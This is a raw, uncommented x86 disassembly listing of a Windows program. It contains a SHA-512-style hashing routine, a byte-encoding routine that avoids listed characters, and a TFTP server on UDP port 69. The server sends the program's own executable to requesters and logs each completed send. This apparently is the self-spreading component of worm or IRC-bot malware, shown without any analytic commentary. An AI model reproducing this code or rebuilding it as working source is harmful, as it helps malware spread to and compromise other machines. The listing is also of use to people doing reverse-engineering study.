		cmp	[esp+170h+var_15C], 0
		jz	loc_40786A
		mov	eax, [esp+170h+var_C0]
		mov	ecx, [esp+170h+var_BC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_BC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_100]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_FC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_100]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_FC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C8]
		adc	edx, [esp+170h+var_C4]
		add	ecx, [esp+170h+var_E0]
		adc	edx, [esp+170h+var_DC]
		mov	[eax+0C8h], ecx
		mov	[eax+0CCh], edx
		mov	eax, edx
		mov	[esp+170h+var_E0], ecx
		mov	[esp+170h+var_DC], eax
		mov	[esp+170h+var_10], ecx
		jmp	short loc_40787F
; ---------------------------------------------------------------------------

loc_40786A:				; CODE XREF: sub_405350+2429j
		mov	edx, [esp+170h+var_E0]
		mov	eax, [esp+170h+var_DC]
		mov	[esp+170h+var_10], edx

loc_40787F:				; CODE XREF: sub_405350+2518j
		mov	ecx, [esp+170h+var_12C]
		mov	ebx, ecx
		mov	[esp+170h+var_C], eax
		mov	eax, [esp+170h+var_130]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_12C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_128]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_12C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_124]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_154]
		not	ebx
		and	ebx, [esp+170h+var_11C]
		not	edi
		and	edi, [esp+170h+var_120]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420698[eax*8]
		adc	esi, ds:dword_42069C[eax*8]
		add	edx, [esp+170h+var_10]
		mov	eax, [esp+170h+var_158]
		adc	esi, [esp+170h+var_C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_138], eax
		mov	[esp+170h+var_154], ecx
		mov	[esp+170h+var_158], eax
		adc	[esp+170h+var_134], ecx
		mov	ecx, [esp+170h+var_150]
		mov	eax, [esp+170h+var_14C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_150]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		mov	ebx, ecx
		and	ecx, edx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		mov	ebp, eax
		xor	ebp, [esp+170h+var_13C]
		mov	edx, ecx
		and	ebp, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_13C]
		and	eax, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_158], edi
		mov	edi, [esp+170h+var_15C]
		adc	[esp+170h+var_154], esi
		add	edi, 10h
		cmp	edi, 50h
		mov	[esp+170h+var_15C], edi
		jb	loc_4054E0
		mov	eax, [esp+170h+var_4]
		mov	edx, [esp+170h+var_158]
		add	[eax], edx
		mov	edx, [esp+170h+var_154]
		pop	edi
		adc	[eax+4], edx
		mov	eax, [esp+16Ch+arg_0]
		mov	edx, [esp+16Ch+var_150]
		add	[eax+18h], edx
		mov	edx, [esp+16Ch+var_14C]
		pop	esi
		adc	[eax+1Ch], edx
		mov	edx, [esp+168h+var_148]
		add	[eax+20h], edx
		mov	edx, [esp+168h+var_144]
		pop	ebp
		adc	[eax+24h], edx
		mov	edx, [esp+164h+var_140]
		add	[eax+28h], edx
		mov	edx, [esp+164h+var_134]
		pop	ebx
		adc	[eax+2Ch], ecx
		mov	ecx, [esp+160h+var_138]
		add	[eax+30h], ecx
		mov	ecx, [esp+160h+var_130]
		adc	[eax+34h], edx
		add	[eax+38h], ecx
		mov	edx, [esp+160h+var_12C]
		mov	ecx, [esp+160h+var_128]
		adc	[eax+3Ch], edx
		add	[eax+40h], ecx
		mov	edx, [esp+160h+var_124]
		mov	ecx, [esp+160h+var_120]
		adc	[eax+44h], edx
		add	[eax+48h], ecx
		mov	edx, [esp+160h+var_11C]
		adc	[eax+4Ch], edx
		add	esp, 160h
		retn
sub_405350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407A60	proc near		; CODE XREF: sub_402DAA+BCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebx
		mov	ebx, [esp+10h+arg_4]
		mov	eax, [ebx]
		push	ebp
		mov	ebp, [esp+14h+arg_0]
		push	esi
		push	edi
		and	eax, 7Fh
		mov	edi, 80h
		sub	edi, eax
		mov	esi, ecx
		xor	ecx, ecx
		add	[ebx], ebp
		adc	[ebx+4], ecx
		mov	edx, [ebx+4]
		cmp	edx, ecx
		ja	short loc_407A9B
		jb	short loc_407A93
		mov	ecx, [ebx]
		cmp	ecx, ebp
		jnb	short loc_407A9B

loc_407A93:				; CODE XREF: sub_407A60+2Bj
		add	dword ptr [ebx+8], 1
		adc	dword ptr [ebx+0Ch], 0

loc_407A9B:				; CODE XREF: sub_407A60+29j
					; sub_407A60+31j
		cmp	ebp, edi
		jb	loc_407B3F

loc_407AA3:				; CODE XREF: sub_407A60+D9j
		push	edi
		lea	edx, [ebx+eax+50h]
		push	esi
		push	edx
		call	sub_40CC20
		add	esi, edi
		add	esp, 0Ch
		sub	ebp, edi
		mov	[esp+1Ch+var_4], esi
		mov	[esp+1Ch+arg_0], ebp
		mov	edi, 80h
		mov	[esp+1Ch+var_8], 0
		mov	esi, 10h
		lea	edx, [ebx+0D0h]

loc_407AD6:				; CODE XREF: sub_407A60+BCj
		mov	eax, [edx-8]
		mov	ecx, [edx-4]
		sub	edx, 8
		mov	ebx, eax
		sub	esi, 1
		ror	ebx, 8
		and	ebx, 0FF00FF00h
		rol	eax, 8
		and	eax, 0FF00FFh
		or	ebx, eax
		mov	ebp, ecx
		xor	eax, eax
		ror	ebp, 8
		and	ebp, 0FF00FF00h
		rol	ecx, 8
		and	ecx, 0FF00FFh
		or	ebp, ecx
		xor	ecx, ecx
		or	eax, ebp
		or	ebx, ecx
		test	esi, esi
		mov	[edx], eax
		mov	[edx+4], ebx
		jnz	short loc_407AD6
		mov	ebx, [esp+1Ch+arg_4]
		push	ebx
		call	sub_405350
		mov	ebp, [esp+20h+arg_0]
		mov	eax, [esp+20h+var_8]
		mov	esi, [esp+20h+var_4]
		add	esp, 4
		cmp	ebp, edi
		jnb	loc_407AA3

loc_407B3F:				; CODE XREF: sub_407A60+3Dj
		push	ebp
		lea	edx, [eax+ebx+50h]
		push	esi
		push	edx
		call	sub_40CC20
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_407A60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407B60	proc near		; CODE XREF: sub_402DAA+E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	ecx, [ebx]
		push	ebp
		and	ecx, 7Fh
		push	esi
		lea	esi, [ecx+7]
		shr	esi, 3
		push	edi
		mov	[esp+10h+var_4], ecx
		jz	short loc_407BC5
		lea	edx, [ebx+esi*8+50h]

loc_407B79:				; CODE XREF: sub_407B60+5Fj
		mov	eax, [edx-8]
		mov	ecx, [edx-4]
		sub	edx, 8
		mov	edi, eax
		sub	esi, 1
		ror	edi, 8
		and	edi, 0FF00FF00h
		rol	eax, 8
		and	eax, 0FF00FFh
		or	edi, eax
		mov	ebp, ecx
		xor	eax, eax
		ror	ebp, 8
		and	ebp, 0FF00FF00h
		rol	ecx, 8
		and	ecx, 0FF00FFh
		or	ebp, ecx
		xor	ecx, ecx
		or	eax, ebp
		or	edi, ecx
		test	esi, esi
		mov	[edx], eax
		mov	[edx+4], edi
		jnz	short loc_407B79
		mov	ecx, [esp+10h+var_4]

loc_407BC5:				; CODE XREF: sub_407B60+13j
		mov	eax, ecx
		and	eax, 7
		add	eax, eax
		add	eax, eax
		mov	esi, dword_424AB0[eax+eax]
		mov	edi, dword_424AB4[eax+eax]
		add	eax, eax
		mov	edx, ecx
		shr	edx, 3
		and	esi, [ebx+edx*8+50h]
		and	edi, [ebx+edx*8+54h]
		or	esi, dword_424AF0[eax]
		or	edi, dword_424AF4[eax]
		cmp	ecx, 6Fh
		mov	[ebx+edx*8+50h], esi
		mov	[ebx+edx*8+54h], edi
		jbe	short loc_407C2A
		cmp	ecx, 78h
		jnb	short loc_407C1D
		mov	dword ptr [ebx+0C8h], 0
		mov	dword ptr [ebx+0CCh], 0

loc_407C1D:				; CODE XREF: sub_407B60+A7j
		push	ebx
		call	sub_405350
		add	esp, 4
		xor	edx, edx
		jmp	short loc_407C32
; ---------------------------------------------------------------------------

loc_407C2A:				; CODE XREF: sub_407B60+A2j
		add	edx, 1
		cmp	edx, 0Eh
		jnb	short loc_407C58

loc_407C32:				; CODE XREF: sub_407B60+C8j
		mov	ecx, 0Dh
		sub	ecx, edx
		add	ecx, ecx
		add	ecx, ecx
		lea	esi, [ebx+edx*8+50h]
		add	ecx, ecx
		shr	ecx, 2
		lea	edi, [esi+8]
		mov	dword ptr [esi], 0
		mov	dword ptr [esi+4], 0
		rep movsd

loc_407C58:				; CODE XREF: sub_407B60+D0j
		mov	edx, [ebx+8]
		mov	esi, [ebx+0Ch]
		mov	ecx, [ebx+4]
		mov	eax, [ebx]
		shld	esi, edx, 3
		add	edx, edx
		mov	edi, ecx
		shld	ecx, eax, 3
		add	edx, edx
		add	eax, eax
		add	edx, edx
		add	eax, eax
		shr	edi, 1Dh
		xor	ebp, ebp
		or	edx, edi
		add	eax, eax
		or	esi, ebp
		push	ebx
		mov	[ebx+0C0h], edx
		mov	[ebx+0C4h], esi
		mov	[ebx+0C8h], eax
		mov	[ebx+0CCh], ecx
		call	sub_405350
		add	esp, 4
		xor	esi, esi

loc_407CA5:				; CODE XREF: sub_407B60+171j
		mov	ecx, esi
		not	ecx
		and	ecx, 7
		mov	edx, esi
		shr	edx, 3
		mov	eax, [ebx+edx*8+10h]
		mov	edx, [ebx+edx*8+14h]
		add	ecx, ecx
		add	ecx, ecx
		add	ecx, ecx
		call	sub_41B950
		mov	ecx, [esp+10h+arg_0]
		mov	[esi+ecx], al
		add	esi, 1
		cmp	esi, 40h
		jb	short loc_407CA5
		pop	edi
		pop	esi
		pop	ebp
		pop	ecx
		retn
sub_407B60	endp


; =============== S U B	R O U T	I N E =======================================



sub_407CD8	proc near		; CODE XREF: sub_40936F+268p
					; .text:00409B86p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, eax
		call	sub_40C9B0
		mov	esi, eax
		add	esi, 0CCh
		cmp	esi, 172h
		pop	ecx
		jg	short loc_407D30
		push	esi
		push	0
		push	edi
		call	sub_40CBA0
		push	0CBh
		push	offset dword_4249C0
		push	edi
		call	sub_40CC20
		push	[esp+20h+arg_0]
		call	sub_40C9B0
		push	eax
		push	[esp+28h+arg_0]
		add	edi, 0CAh
		push	edi
		call	sub_40CC20
		add	esp, 28h
		mov	eax, esi
		jmp	short loc_407D32
; ---------------------------------------------------------------------------

loc_407D30:				; CODE XREF: sub_407CD8+1Cj
		xor	eax, eax

loc_407D32:				; CODE XREF: sub_407CD8+56j
		pop	edi
		pop	esi
		retn
sub_407CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D35	proc near		; CODE XREF: sub_40936F+292p
					; sub_40936F+2B1p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 1
		push	ebx
		push	edi
		mov	bl, 1
		mov	[ebp+var_1], 0
		jnz	loc_407E3E
		mov	eax, [ebp+arg_8]
		lea	edi, [eax+18h]
		and	eax, 80000001h
		mov	[ebp+var_8], edi
		jns	short loc_407D62
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax

loc_407D62:				; CODE XREF: sub_407D35+26j
		jz	short loc_407D68
		mov	[ebp+var_1], 1

loc_407D68:				; CODE XREF: sub_407D35:loc_407D62j
		mov	eax, 172h
		cmp	edi, eax
		jle	short loc_407D7B
		cmp	[ebp+var_1], 1
		jnz	loc_407F1A

loc_407D7B:				; CODE XREF: sub_407D35+3Aj
		lea	ecx, [edi+1]
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jle	short loc_407D95
		cmp	[ebp+var_1], 1
		jnz	short loc_407D95
		jmp	loc_407F1A
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_407D35+DCj
		mov	eax, 172h

loc_407D95:				; CODE XREF: sub_407D35+4Ej
					; sub_407D35+54j
		push	eax
		xor	edi, edi
		push	edi
		push	esi
		inc	bl
		call	sub_40CBA0
		push	18h
		push	offset dword_424984
		push	esi
		call	sub_40CC20
		add	esp, 18h
		cmp	[ebp+arg_8], edi
		mov	[esi+0Eh], bl
		mov	[esi+12h], bl
		jle	short loc_407DCE

loc_407DBC:				; CODE XREF: sub_407D35+97j
		mov	eax, [ebp+arg_4]
		mov	al, [edi+eax]
		add	al, bl
		mov	[esi+edi+18h], al
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_407DBC

loc_407DCE:				; CODE XREF: sub_407D35+85j
		cmp	[ebp+var_1], 1
		jnz	short loc_407DD8
		mov	[edi+esi+18h], bl

loc_407DD8:				; CODE XREF: sub_407D35+9Dj
		xor	edi, edi
		cmp	[ebp+var_8], edi
		mov	byte ptr [ebp+arg_0+3],	1
		jle	short loc_407E1C

loc_407DE3:				; CODE XREF: sub_407D35+D1j
		mov	cl, [edi+esi]
		xor	edx, edx

loc_407DE8:				; CODE XREF: sub_407D35+BFj
		mov	eax, [ebp+arg_C]
		cmp	cl, [edx+eax]
		jz	short loc_407DF8
		inc	edx
		cmp	edx, 8
		jl	short loc_407DE8
		jmp	short loc_407DFC
; ---------------------------------------------------------------------------

loc_407DF8:				; CODE XREF: sub_407D35+B9j
		mov	byte ptr [ebp+arg_0+3],	0

loc_407DFC:				; CODE XREF: sub_407D35+C1j
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_407E08
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_407DE3

loc_407E08:				; CODE XREF: sub_407D35+CBj
		cmp	byte ptr [ebp+arg_0+3],	1
		jz	short loc_407E1C
		cmp	bl, 0FFh
		jb	loc_407D90
		jmp	loc_407F1A
; ---------------------------------------------------------------------------

loc_407E1C:				; CODE XREF: sub_407D35+ACj
					; sub_407D35+D7j ...
		cmp	[ebp+var_1], 1
		jnz	short loc_407E2B
		mov	eax, [ebp+var_C]
		inc	[ebp+arg_8]
		mov	[ebp+var_8], eax

loc_407E2B:				; CODE XREF: sub_407D35+EBj
		mov	eax, [ebp+arg_8]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[esi+3], al
		mov	eax, [ebp+var_8]
		jmp	loc_407F1C
; ---------------------------------------------------------------------------

loc_407E3E:				; CODE XREF: sub_407D35+12j
		cmp	[ebp+arg_0], 2
		jnz	loc_407F1A
		mov	eax, [ebp+arg_8]
		lea	edi, [eax+18h]
		and	eax, 80000001h
		mov	[ebp+var_8], edi
		jns	short loc_407E5D
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax

loc_407E5D:				; CODE XREF: sub_407D35+121j
		jz	short loc_407E63
		mov	[ebp+var_1], 1

loc_407E63:				; CODE XREF: sub_407D35:loc_407E5Dj
		mov	eax, 172h
		cmp	edi, eax
		jle	short loc_407E76
		cmp	[ebp+var_1], 1
		jnz	loc_407F1A

loc_407E76:				; CODE XREF: sub_407D35+135j
		lea	ecx, [edi+1]
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jle	short loc_407E90
		cmp	[ebp+var_1], 1
		jnz	short loc_407E90
		jmp	loc_407F1A
; ---------------------------------------------------------------------------

loc_407E8B:				; CODE XREF: sub_407D35+1DFj
		mov	eax, 172h

loc_407E90:				; CODE XREF: sub_407D35+149j
					; sub_407D35+14Fj
		push	eax
		xor	edi, edi
		push	edi
		push	esi
		inc	bl
		call	sub_40CBA0
		push	18h
		push	offset dword_4249A0
		push	esi
		call	sub_40CC20
		add	esp, 18h
		cmp	[ebp+arg_8], edi
		mov	[esi+0Eh], bl
		mov	[esi+12h], bl
		jle	short loc_407EC9

loc_407EB7:				; CODE XREF: sub_407D35+192j
		mov	eax, [ebp+arg_4]
		mov	al, [edi+eax]
		xor	al, bl
		mov	[esi+edi+18h], al
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_407EB7

loc_407EC9:				; CODE XREF: sub_407D35+180j
		cmp	[ebp+var_1], 1
		jnz	short loc_407ED3
		mov	[edi+esi+18h], bl

loc_407ED3:				; CODE XREF: sub_407D35+198j
		xor	edi, edi
		cmp	[ebp+var_8], edi
		mov	byte ptr [ebp+arg_0+3],	1
		jle	loc_407E1C

loc_407EE2:				; CODE XREF: sub_407D35+1D0j
		mov	cl, [edi+esi]
		xor	edx, edx

loc_407EE7:				; CODE XREF: sub_407D35+1BEj
		mov	eax, [ebp+arg_C]
		cmp	cl, [edx+eax]
		jz	short loc_407EF7
		inc	edx
		cmp	edx, 8
		jl	short loc_407EE7
		jmp	short loc_407EFB
; ---------------------------------------------------------------------------

loc_407EF7:				; CODE XREF: sub_407D35+1B8j
		mov	byte ptr [ebp+arg_0+3],	0

loc_407EFB:				; CODE XREF: sub_407D35+1C0j
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_407F07
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_407EE2

loc_407F07:				; CODE XREF: sub_407D35+1CAj
		cmp	byte ptr [ebp+arg_0+3],	1
		jz	loc_407E1C
		cmp	bl, 0FFh
		jb	loc_407E8B

loc_407F1A:				; CODE XREF: sub_407D35+40j
					; sub_407D35+56j ...
		xor	eax, eax

loc_407F1C:				; CODE XREF: sub_407D35+104j
		pop	edi
		pop	ebx
		leave
		retn
sub_407D35	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F20	proc near		; CODE XREF: sub_404954+41Ap
					; .text:0040A2E6p
		push	4
		mov	eax, offset loc_41DBF4
		call	sub_40EAAD
		xor	ebx, ebx
		cmp	byte_4339A5, bl
		jz	short loc_407F3A

loc_407F36:				; CODE XREF: sub_407F20+74j
		mov	al, 1
		jmp	short loc_407F9E
; ---------------------------------------------------------------------------

loc_407F3A:				; CODE XREF: sub_407F20+14j
		mov	edi, 100h
		push	edi
		push	ebx
		mov	esi, offset dword_426A48
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		call	ds:dword_41E0E8	; GetModuleHandleA
		push	eax
		call	ds:dword_41E060	; GetModuleFileNameA
		push	8
		call	loc_40D430
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_407F86
		push	offset sub_40819D
		xor	ecx, ecx
		mov	edi, offset byte_4202BD
		call	sub_408355
		jmp	short loc_407F88
; ---------------------------------------------------------------------------

loc_407F86:				; CODE XREF: sub_407F20+51j
		xor	eax, eax

loc_407F88:				; CODE XREF: sub_407F20+64j
		cmp	[eax+4], ebx
		jz	short loc_407F96
		mov	byte_4339A5, 1
		jmp	short loc_407F36
; ---------------------------------------------------------------------------

loc_407F96:				; CODE XREF: sub_407F20+6Bj
		mov	byte_4339A5, bl
		xor	al, al

loc_407F9E:				; CODE XREF: sub_407F20+18j
		call	sub_40EB4C
		retn
sub_407F20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FA4	proc near		; DATA XREF: sub_40819D+170o

var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= word ptr -224h
var_222		= word ptr -222h
var_220		= byte ptr -220h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_407FCA

loc_407FC3:				; CODE XREF: sub_407FA4+3Ej
					; sub_407FA4+59j ...
		push	ebx
		call	ds:off_41E08C

loc_407FCA:				; CODE XREF: sub_407FA4+1Dj
		lea	edi, [ebp+var_18]
		movsd
		movsd
		push	11h
		movsd
		push	2
		push	2
		movsd
		call	ds:dword_41E23C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407FC3
		push	offset dword_420DA0
		push	offset dword_426A48
		call	sub_40D797
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_228], eax
		jz	short loc_407FC3
		push	eax
		mov	[ebp+var_22C], ebx
		mov	[ebp+var_238], 10h
		call	sub_40E06D
		test	eax, eax
		pop	ecx
		jnz	loc_40810E
		mov	esi, ds:dword_41E234

loc_408024:				; CODE XREF: sub_407FA4+164j
		push	204h
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	4
		lea	eax, [ebp+var_234]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 18h
		inc	[ebp+var_22C]
		push	[ebp+var_22C]
		call	esi	; htons
		push	3
		mov	[ebp+var_222], ax
		call	esi	; htons
		push	[ebp+var_228]
		mov	[ebp+var_224], ax
		push	200h
		lea	eax, [ebp+var_220]
		push	1
		push	eax
		call	sub_40E2F9
		add	esp, 10h
		push	10h
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		push	edi
		call	ds:dword_41E25C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_408185
		lea	eax, [ebp+var_238]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		push	4
		lea	eax, [ebp+var_234]
		push	eax
		push	edi
		call	ds:dword_41E26C	; recvfrom
		cmp	eax, 0FFFFFFFFh
		jz	loc_408185
		push	[ebp+var_234]
		call	ds:dword_41E264	; htons
		cmp	ax, 4
		jnz	loc_408185
		push	[ebp+var_234+2]
		call	ds:dword_41E264	; htons
		cmp	ax, word ptr [ebp+var_22C]
		jnz	loc_408185
		push	[ebp+var_228]
		call	sub_40E06D
		test	eax, eax
		pop	ecx
		jz	loc_408024

loc_40810E:				; CODE XREF: sub_407FA4+74j
		inc	dword_4339AC
		push	100h
		call	sub_40AF26
		mov	esi, eax
		push	esi
		call	sub_40CA3B
		push	eax
		mov	ebx, offset asc_424FD8 ; "²²ÉÇÉ"
		call	sub_401AD1
		add	esp, 0Ch
		push	dword_4339AC
		push	[ebp+var_14]
		call	ds:dword_41E270	; inet_ntoa
		push	eax
		push	offset aTftpSendComple ; "TFTP:	Send Complete To %s. %d	Total Sen"...
		push	esi
		push	0
		push	offset dword_426A1C
		call	sub_403D0C
		push	esi
		call	sub_40CC1A
		add	esp, 1Ch
		push	edi
		call	ds:dword_41E240	; closesocket
		push	[ebp+var_228]
		call	sub_40DA67
		pop	ecx
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		xor	eax, eax
		pop	ebx
		call	sub_40AFEE
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_408185:				; CODE XREF: sub_407FA4+FCj
					; sub_407FA4+121j ...
		push	edi
		call	ds:dword_41E240	; closesocket
		push	[ebp+var_228]
		call	sub_40DA67
		pop	ecx
		jmp	loc_407FC3
sub_407FA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40819D	proc near		; DATA XREF: sub_407F20+53o

var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= byte ptr -138h
var_134		= dword	ptr -134h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 148h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+148h+var_4], eax
		push	ebx
		push	edi
		push	11h
		xor	edi, edi
		push	2
		inc	edi
		push	2
		mov	[esp+15Ch+var_140], edi
		call	ds:dword_41E23C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_426A44, eax
		jnz	short loc_4081E5
		xor	ebx, ebx

loc_4081D8:				; CODE XREF: sub_40819D+CAj
		mov	byte_4339A5, bl

loc_4081DE:				; CODE XREF: sub_40819D+C4j
		push	ebx
		call	ds:off_41E08C

loc_4081E5:				; CODE XREF: sub_40819D+37j
		push	4
		lea	ecx, [esp+154h+var_140]
		push	ecx
		push	4
		push	0FFFFh
		push	eax
		call	ds:dword_41E260	; setsockopt
		push	10h
		xor	ebx, ebx
		lea	eax, [esp+154h+var_14]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	45h
		mov	[esp+154h+var_14], 2
		call	ds:dword_41E234	; htons
		mov	[esp+150h+var_12], ax
		push	10h
		lea	eax, [esp+154h+var_14]
		push	eax
		push	dword_426A44
		mov	[esp+15Ch+var_10], ebx
		call	ds:dword_41E288	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_408325
		push	dword_426A44
		call	ds:dword_41E240	; closesocket
		cmp	byte_4339A5, bl
		jz	loc_4081DE
		jmp	loc_4081D8
; ---------------------------------------------------------------------------

loc_40826C:				; CODE XREF: sub_40819D+18Ej
		mov	eax, dword_426A44
		push	8
		mov	[esp+154h+var_11C], eax
		lea	eax, [esp+154h+var_148]
		push	ebx
		push	eax
		mov	[esp+15Ch+var_120], edi
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+150h+var_148]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [esp+15Ch+var_120]
		push	eax
		push	ebx
		mov	[esp+164h+var_148], 5
		mov	[esp+164h+var_144], ebx
		call	ds:dword_41E268	; select
		test	eax, eax
		jle	short loc_408325
		push	14h
		lea	eax, [esp+154h+var_134]
		push	ebx
		push	eax
		mov	[esp+15Ch+var_13C], 10h
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+150h+var_13C]
		push	eax
		lea	eax, [esp+154h+var_14]
		push	eax
		push	ebx
		push	14h
		lea	eax, [esp+160h+var_134]
		push	eax
		push	dword_426A44
		call	ds:dword_41E26C	; recvfrom
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408325
		push	[esp+150h+var_134]
		inc	dword_4339A8
		call	ds:dword_41E264	; htons
		cmp	ax, di
		jnz	short loc_408325
		lea	eax, [esp+150h+var_138]
		push	eax
		push	ebx
		lea	eax, [esp+158h+var_14]
		push	eax
		push	offset sub_407FA4
		push	ebx
		push	ebx
		call	ds:off_41E110
		push	3E8h
		call	ds:off_41E0FC

